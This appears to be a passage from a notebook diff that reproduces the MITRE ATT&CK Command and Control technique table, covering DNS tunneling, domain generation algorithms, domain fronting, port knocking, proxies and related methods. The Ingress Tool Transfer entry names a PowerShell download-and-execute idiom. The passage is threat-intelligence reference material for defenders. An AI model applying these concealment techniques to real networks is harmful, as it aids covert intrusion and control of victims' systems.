Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\nT1094 | Custom Command and Control Protocol | Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.\nT1092 | Communication Through Removable Media | Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\nT1090 | Proxy | Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nT1079 | Multilayer Encryption | An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\nT1071 | Application Layer Protocol | Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. \nT1065 | Uncommonly Used Port | Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\nT1043 | Commonly Used Port | **This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\nT1032 | Standard Cryptographic Protocol | Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.\nT1026 | Multiband Communication | **This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.\nT1024 | Custom Cryptographic Protocol | Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)\nT1008 | Fallback Channels | Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\nT1001 | Data Obfuscation | Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. " + "source": "# Command and Control\nThe adversary is trying to communicate with compromised systems to control them.\n\nCommand and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim\u2019s network structure and defenses.\n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1205.002 | Socket Filters | Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.\nT1132.001 | Standard Encoding | Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\nT1568.002 | Domain Generation Algorithms | Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)\nT1071.004 | DNS | Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) \nT1573.001 | Symmetric Cryptography | Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.\nT1568.001 | Fast Flux DNS | Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.\nT1071 | Application Layer Protocol | Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. \nT1219 | Remote Access Software | An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)\n\nRemote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n \nAdversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nInstallation of many remote access software may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)).\nT1659 | Content Injection | Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)\n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)\n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)\nT1205 | Traffic Signaling | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)\nT1572 | Protocol Tunneling | Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. \nT1071.003 | Mail Protocols | Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. \nT1092 | Communication Through Removable Media | Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\nT1090.002 | External Proxy | Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\nT1090 | Proxy | Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nT1568 | Dynamic Resolution | Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)\nT1102 | Web Service | Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nT1568.003 | DNS Calculation | Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)\nT1104 | Multi-Stage Channels | Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.\nT1205.001 | Port Knocking | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\nT1071.002 | File Transfer Protocols | Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMB, FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. \nT1102.003 | One-Way Communication | Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nT1090.003 | Multi-hop Proxy | To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)\n\nIn the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s WAN. Protocols such as ICMP may be used as a transport.\nT1001 | Data Obfuscation | Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. \nT1571 | Non-Standard Port | Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\n\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)\nT1573 | Encrypted Channel | Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nT1102.002 | Bidirectional Communication | Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. \nT1573.002 | Asymmetric Cryptography | Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).\nT1095 | Non-Application Layer Protocol | Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\nT1001.003 | Protocol Impersonation | Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \nT1090.004 | Domain Fronting | Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\nT1132 | Data Encoding | Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\nT1132.002 | Non-Standard Encoding | Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) \nT1071.001 | Web Protocols | Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. \nT1105 | Ingress Tool Transfer | Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)\n\nAdversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts.\n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)\nT1001.002 | Steganography | Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. \nT1008 | Fallback Channels | Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\nT1090.001 | Internal Proxy | Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.\nT1102.001 | Dead Drop Resolver | Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nT1001.001 | Junk Data | Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. " }, { "cell_type": "code", "execution_count": null, - "id": "694cca5a", + "id": "1b762555", 